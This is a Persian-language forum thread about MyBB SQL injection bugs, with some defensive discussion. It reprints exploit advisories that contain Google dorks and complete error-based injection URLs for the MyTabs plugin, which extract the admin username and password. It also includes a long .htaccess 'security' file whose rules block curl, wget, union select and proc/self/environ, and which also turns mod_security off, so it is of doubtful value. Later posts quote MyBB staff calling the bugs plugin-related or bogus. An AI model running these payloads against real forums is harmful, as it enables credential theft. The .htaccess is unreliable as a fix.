• ¡Welcome to Square Theme!
  • This news are in header template.
  • Please ignore this message.
مهمان عزیز خوش‌آمدید. ورود عضــویت


امتیاز موضوع:
  • 0 رای - 0 میانگین
  • 1
  • 2
  • 3
  • 4
  • 5
Title: پیدا شدن باگ sql injection در Mybb !
حالت موضوعی
#1
درود

متاسفانه سایت mybb هک شد و همینجور خیلی ها روی اوردن به پیدا کردن باگ از mybb

باگ بسیار خطرناک sql injection که در ورژن 1.6.8 mybb هم دیده شده است !

نگاهی به بررسی اکسپلویت زیر میکنیم :

کد:
-------------------- IN The NAme OF God --------------------


-====MyBB 1.6.8 Sql Injection Vulnerability====-

# Exploit Title: MyBB 1.6.8 Sql Injection Vulnerability
# Exploit Author: Mr.XpR
# Tested on: BackTrack
# Script Site : http://mybb.com
# MAil : No0PM[at]yahoo[dot]com

-====Dork====-

inurl:member.php?action=profile&uid=

inurl:action=profile&uid=

-====Exploit====-

http://www.Site.com/forums/member.php?action=profile&uid=[Sqli]

-====Example====-

http://www.mihanhack.com/forums/member.php?action=profile&uid='

http://www.mihanhack.com/forums/member.php?action=profile&uid=9'



-====information====-

MyBB has experienced an internal SQL error and cannot continue.

SQL Error:
1064 - You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '0'' at line 1
Query:
SELECT * FROM mybb_adv_ratings WHERE fuid='9'' AND uid='0'

-====Tnx To====-

Just Persian Gulf ~~~~ > W3 Are Persian Hackerz

MMT- Syamak Black - Samim.s - FarbodEZRaeL - Inj3Ctor - UnknowN

Yaghi.Vahshi - HELLBOY - IrIsT - Black King - Monfared - Sokote_Vahshat ...

And All IraNHAck Security Team Members

iranhack.org



لینک اثبات :

[عکس: i4d5uyn1b3ln5dar3jaj.jpg]



خوب در طی اقدامی .htaccess رو برای شما به نمایش میزارم که بیشتر دستورات xss sql injection lfi و بسیاری از موارد امنیتی دیگر برطرف میشه و همچنین باگ بالا هم fix میشه

همچنین باگ های دیگه هم پیدا کردم که ریپورت میدم .

High Security Mybb

Fix Bug Sql Injection

Public By : ParsIcoders.com

Copy Paste .htaccess To Public_Html

.htaccess Code:

کد:
#public by : www.parsicoders.com (amin mansouri)
#Block Arab Ip ,High Security Mybb ;-) (anti sql injection , anti xss ,anti lfi ,and....)
Options -Indexes
Options -MultiViews
IndexIgnore *
ErrorDocument 404 /error_pages/404.html
# Protect the config.php file
<files config.php>
Order deny,allow
deny from all
</files>
<Files ~ "^\.ht">
Order allow,deny
Allow from all
</Files>

<IfModule mod_security.c>
SecFilterEngine Off
SecFilterScanPOST Off
</IfModule>
<IfModule mod_rewrite.c>
RewriteEngine on
RewriteBase /
RewriteCond %{THE_REQUEST} !^[A-Z]{3,9}\ [a-zA-Z0-9\.\+_/\-\?\=\&]+\ HTTP/ [NC]
RewriteRule .* - [F,NS,L]
RewriteCond %{QUERY_STRING} (\|%3E) [NC,OR]
RewriteCond %{QUERY_STRING} ^.*=(ht)|(f)|(sf)+(tp)+(://|s://)+.*(\?\?)+ [NC,OR]
RewriteCond %{QUERY_STRING} !redirect_to [NC]
RewriteCond %{QUERY_STRING} !continue [NC]
RewriteCond %{QUERY_STRING} .*=http.*(\:|%3A) [NC,OR]
RewriteCond %{QUERY_STRING} .*=https.*(\:|%3A) [NC,OR]
RewriteCond %{QUERY_STRING} .*=ftp.*(\:|%3A) [NC,OR]
RewriteCond %{QUERY_STRING} .*=sftp.*(\:|%3A) [NC,OR]
RewriteCond %{QUERY_STRING} .*jos_.* [NC,OR]
RewriteCond %{QUERY_STRING} .*users\+where\+gid.* [NC,OR]
RewriteCond %{QUERY_STRING} .*proc/self/environ.* [NC,OR]
RewriteCond %{QUERY_STRING} .*union\+select.* [NC,OR]
RewriteCond %{QUERY_STRING} .*perl\+.* [NC,OR]
RewriteCond %{QUERY_STRING} .*curl\+.* [NC,OR]
RewriteCond %{QUERY_STRING} .*SQL.* [NC,OR]
RewriteCond %{QUERY_STRING} GLOBALS(=|\[|\%[0-9A-Z]{0,2}) [OR]
RewriteCond %{QUERY_STRING} _REQUEST(=|\[|\%[0-9A-Z]{0,2})
RewriteCond %{REQUEST_METHOD}  ^(HEAD|TRACE|DELETE|TRACK) [NC,OR]
RewriteCond %{THE_REQUEST}     ^.*(\\r|\\n|%0A|%0D).* [NC,OR]
RewriteCond %{HTTP_REFERER}    ^(.*)(<|>|’|%0A|%0D|%27|%3C|%3E|%00).* [NC,OR]
RewriteCond %{HTTP_COOKIE}     ^.*(<|>|’|%0A|%0D|%27|%3C|%3E|%00).* [NC,OR]
RewriteCond %{REQUEST_URI}     ^/(,|;|:|<|>|”>|”<|/|\\\.\.\\).{0,9999}.* [NC,OR]
RewriteCond %{HTTP_USER_AGENT} ^$ [OR]
RewriteCond %{HTTP_USER_AGENT} ^(java|curl|wget).* [NC,OR]
RewriteCond %{HTTP_USER_AGENT} ^.*(winhttp|HTTrack|clshttp|archiver|loader|email|harvest|extract|grab|miner).* [NC,OR]
RewriteCond %{HTTP_USER_AGENT} ^.*(libwww-perl|curl|wget|python|nikto|scan).* [NC,OR]
RewriteCond %{HTTP_USER_AGENT} ^.*(<|>|’|%0A|%0D|%27|%3C|%3E|%00).* [NC,OR]
RewriteCond %{QUERY_STRING}    ^.*(;|<|>|’|”|\)|%0A|%0D|%22|%27|%3C|%3E|%00).*(/\*|union|select|insert|cast|set|declare|drop|update|md5|benchmark).* [NC,OR]
RewriteCond %{QUERY_STRING}    ^.*(localhost|loopback|127\.0\.0\.1).* [NC,OR]
RewriteCond %{QUERY_STRING}    ^.*\.[A-Za-z0-9].* [NC,OR]
RewriteCond %{QUERY_STRING}    ^.*(<|>|’|%0A|%0D|%27|%3C|%3E|%00).* [NC]
RewriteCond %{QUERY_STRING} base64_encode.*(.*) [OR]
RewriteCond %{QUERY_STRING} (<|%3C).*script.*(>|%3E) [NC,OR]
RewriteCond %{QUERY_STRING} GLOBALS(=|[|%[0-9A-Z]{0,2}) [OR]
RewriteCond %{QUERY_STRING} _REQUEST(=|[|%[0-9A-Z]{0,2})
RewriteRule ^(.*)$ index.php [F,L]
RewriteCond %{QUERY_STRING} http://([a-zA-Z0-9_\-]*) [NC,OR]
RewriteCond %{QUERY_STRING} http:/([a-zA-Z0-9_\-]*) [NC,OR]
RewriteCond %{QUERY_STRING} cmd= [NC,OR]
RewriteCond %{QUERY_STRING} &cmd [NC,OR]
RewriteCond %{QUERY_STRING} exec [NC,OR]
RewriteCond %{QUERY_STRING} execu [NC,OR]
RewriteCond %{QUERY_STRING} concat [NC]
RewriteRule ^.* - [F]
RewriteCond %{QUERY_STRING} UNION([%20\ /\*+]*)ALL([%20\ /\*+]*)SELECT [NC,OR]
RewriteCond %{QUERY_STRING} UNION([%20\ /\*+]*)SELECT [NC,OR]
RewriteCond %{QUERY_STRING} /\* [NC,OR]
RewriteCond %{QUERY_STRING} \*/ [NC]
RewriteRule ^forum-([0-9]+)\.html$ forumdisplay.php?fid=$1 [L,QSA]
RewriteRule ^forum-([0-9]+)-page-([0-9]+)\.html$ forumdisplay.php?fid=$1&page=$2 [L,QSA]
RewriteRule ^thread-([0-9]+)\.html$ showthread.php?tid=$1 [L,QSA]
RewriteRule ^thread-([0-9]+)-page-([0-9]+)\.html$ showthread.php?tid=$1&page=$2 [L,QSA]
RewriteRule ^thread-([0-9]+)-lastpost\.html$ showthread.php?tid=$1&action=lastpost [L,QSA]
RewriteRule ^thread-([0-9]+)-nextnewest\.html$ showthread.php?tid=$1&action=nextnewest [L,QSA]
RewriteRule ^thread-([0-9]+)-nextoldest\.html$ showthread.php?tid=$1&action=nextoldest [L,QSA]
RewriteRule ^thread-([0-9]+)-newpost\.html$ showthread.php?tid=$1&action=newpost [L,QSA]
RewriteRule ^thread-([0-9]+)-post-([0-9]+)\.html$ showthread.php?tid=$1&pid=$2 [L,QSA]
RewriteRule ^post-([0-9]+)\.html$ showthread.php?pid=$1 [L,QSA]
RewriteRule ^announcement-([0-9]+)\.html$ announcements.php?aid=$1 [L,QSA]
RewriteRule ^user-([0-9]+)\.html$ member.php?action=profile&uid=$1 [L,QSA]
RewriteRule ^calendar-([0-9]+)\.html$ calendar.php?calendar=$1 [L,QSA]
RewriteRule ^calendar-([0-9]+)-year-([0-9]+)\.html$ calendar.php?action=yearview&calendar=$1&year=$2 [L,QSA]
RewriteRule ^calendar-([0-9]+)-year-([0-9]+)-month-([0-9]+)\.html$ calendar.php?calendar=$1&year=$2&month=$3 [L,QSA]
RewriteRule ^calendar-([0-9]+)-year-([0-9]+)-month-([0-9]+)-day-([0-9]+)\.html$ calendar.php?action=dayview&calendar=$1&year=$2&month=$3&day=$4 [L,QSA]
RewriteRule ^calendar-([0-9]+)-week-(n?[0-9]+)\.html$ calendar.php?action=weekview&calendar=$1&week=$2 [L,QSA]
RewriteRule ^event-([0-9]+)\.html$ calendar.php?action=event&eid=$1 [L,QSA]
</IfModule>

<IfModule mod_deflate.c>
AddOutputFilterByType DEFLATE application/javascript text/css text/html text/xml
</IfModule>

I Love You Mybb
گروه دور همی پارسی کدرز
https://t.me/joinchat/GxVRww3ykLynHFsdCvb7eg
 
پاسخ
#2
باگ بعدی 0day که یکی از معروف ترین پلاگین های mybb گرفته شده است.

نام پلاگین :

\ MyTabs

اسیب پذیری :

sql injection

کد پی‌اچ‌پی:
# Exploit title : MyBB 0day \ MyTabs (plugin) SQL injection vulnerability.




# Author: AutoRUN & dR.sqL




# Home : HackForums.AL , Autorun-Albania.COM , HackingWith.US , whiteh4t.com




# Date : 01 \ 08 \ 2011




# Tested on : Windows XP , Linux




# Category : web apps




# Vulnerable Software Link : http://mods.mybb.com/view/mytabs




# Google dork : Use your mind kid ^_^ !









Vulnerability :









$~ 
http://localhost/mybbpath/index.php?tab=[SQLi]









---------------------------------------




# ~ Expl0itation ~ #




---------------------------------------









$~ 
Get the administrator's username (usually it has uid=1) ~









http://localhost/mybbpath/index.php?tab=1' 
and(select 1 from(select count(*),concat((select username from mybb_users where uid=1),floor(Rand(0)*2))a from information_schema.tables group by a)b)-- -









$~ 
Get the administrator's password ~









http://localhost/mybbpath/index.php?tab=1' 
and(select 1 from(select count(*),concat((select password from mybb_users where uid=1),floor(Rand(0)*2))a from information_schema.tables group by a)b)-- -














_ _ ____ _ _ _ _ _ _ ____ _ 




/ \ _ _| |_ ___ \| | | | \ | | __ _ _ __ __| | __| | ___ __ _| | 




\| | | | __\| |_) | | | | \| | / _` | '_ \ / _` | / _` | |_) | / __|/ _` | | 




___ \ |_| | |(_) | <| |_| | |\ | | (_| | | | | (_| | | (_| | _\__ \ (_| | |___ 




/_/ \_\__,_|\__\___/|_| \_\\___/|_| \_| \__,_|_| |_|\__,_| \__,_|_| \_(_)___/\__, |_____|




|
_



















# Greetz : Programer , Dr.moka, eragon, BaDBoY-AL , z3r0w1zard , Red Dragon_aL , Pretorian ,Th3_Power , R-t33n , Ace Wizard, KubaNnez1 , ssgodfather, DJDukli , b4ti , CroSs HackForums.AL members & All our friends.



















____ _ ____ ____ _ _ _ _ _ 




_ __ ___ _ _ __| | |___ \| __ ) / \ | | |__ __ _ _ __ (___ _ _ __ | |




| |
_) | '__/ _ \| | | |/ _` | __) | _ \ / _ \ | | '\ / _` | '_ \| |/ _` | '_ \ | |




| __/| | | (_) | |_| | (_| | / __/| |_) | / ___ \| | |_) | (_| | | | | | (_| | | | | |_|




|_| |_| \___/ \__,_|\__,_| |_____|____/ /_/ \_\_|_.__/ \__,_|_| |_|_|\__,_|_| |_| (_)














# 2011 



برای برطرف کردن این باگ هم باید از .htaccess که نوشتم استفاده کید.

باگ های دیگه هم هست

انشالا به زودی به تیم امنیتی mybb ارائه خواهد شد.
گروه دور همی پارسی کدرز
https://t.me/joinchat/GxVRww3ykLynHFsdCvb7eg
 
پاسخ
#3
2 تاش ریپورت دادم.

اولی رو قبلا ریپورت دادن

میگه مربوط به پلاگین ها بودن و 2 تاشون هم هیچ ربطی به ما نداره و مربوط به پلاگین هاست. !

1:

This is a bogus vulnerability. $mybb->input['uid'] is put through intval on line 1444 of member.php, the vulnerability people have been reporting is related to an advanced profile plugin which isn't developed by MyBB, nor is it even hosted on our mods site. There is no vulnerability in MyBB.



2:

نقل قول:amin_mansouri Wrotetonguelug in mytab
http://localhost/mybbpath/index.php?tab=[SQLi]
PLEASE Fix BUG[عکس: heart.gif]

MyTab is not our plugin, we did not develop it. You need to contact the MyTab developers.

Cheers, Tim.
گروه دور همی پارسی کدرز
https://t.me/joinchat/GxVRww3ykLynHFsdCvb7eg
 
پاسخ
#4
نقل قول:
# Exploit Author: Mr.XpR
اون اولی ماله حسین هست دیشب گذاشت تو فروم
iranhack.org

 
پاسخ
#5
یکی دیگه :
http://bugsearch.net/en/13252/mybb-168-s...litiy.html
irist.ir/forum/showthread.php?tid=803&pid=1047
که با همون htaccess که امین گذاشت نمیشه کاری باهاش کرد

 
پاسخ
#6
(06-07-2012، 03:48 PM)nimaarek نوشته: یکی دیگه :
http://bugsearch.net/en/13252/mybb-168-s...litiy.html
irist.ir/forum/showthread.php?tid=803&pid=1047
که با همون htaccess که امین گذاشت نمیشه کاری باهاش کرد
از خود mybb به زبان نویسندش نیست.
اینم جوابی که نیمارک داده :
Hi,

warning_level isn't even an action in member.php, if you have found an SQL injection on that path then it's because of a plugin that you're running.
گروه دور همی پارسی کدرز
https://t.me/joinchat/GxVRww3ykLynHFsdCvb7eg
 
پاسخ
#7
این کدی که گذاشتین باعث میشه فایل

htaccess

بالا بیاد Smile

تست کردم وقتی میزاری اگه دسترسی htaccess

بسته باشیم ولی فایلش اجرا میشه
 
پاسخ
  


پرش به انجمن:


Browsing: 2 مهمان